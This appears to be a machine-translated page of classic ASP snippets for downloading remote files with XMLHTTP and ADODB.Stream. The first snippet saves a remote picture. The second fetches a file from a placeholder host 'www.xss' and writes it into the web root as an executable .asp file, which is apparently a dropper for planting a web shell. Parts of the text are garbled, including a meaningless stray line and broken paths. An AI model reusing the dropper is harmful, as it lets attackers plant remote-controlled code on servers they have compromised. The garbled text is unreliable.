Example 2
Binary download remote pictures, files, and save to Local:
| code is as follows |
copy code |
|
Private Function getpicture (X) ' Get Picture data
Set XML = Server.CreateObject (' microsoft.xmlhttp ')
XML. Open "Get", X, False
XML. Send
getpicture = XML. Responsebody
Set xml=nothing
End Function
Dim tmp
TMP = getpicture (URL) ' Get Picture data '
Set ADO = Server.CreateObject ("ADODB. Stream ")
ADO. Type = 1 ' adtypebinary
ADO. Open
ADO. Write Tmp
ADO. SaveToFile P, 2 ' Save as file
ADO. Close
Response.ContentType = "Image/jpeg"
response.binarywrite Tmp ' output picture data |
ASP in the XMLHTTP download a sentence code, need friends can refer to the next
Share
The Godlong of learning in the 3est activity
The code is as follows:
| The code is as follows |
Copy Code |
|
<%
Set Xpost = CreateObject ("Microsoft.XMLHTTP")
Xpost.open "Get", "Http://www.xss/1.txt", 0 ' download file address
Xpost.send ()
Set Sget = CreateObject ("ADODB. Stream ")
Sget.mode = 3
Sget.type = 1
Sget.open ()
Sget.write (Xpost.responsebody)
Sget.savetofile "E:wwwrootfuck1.asp", 2
%> |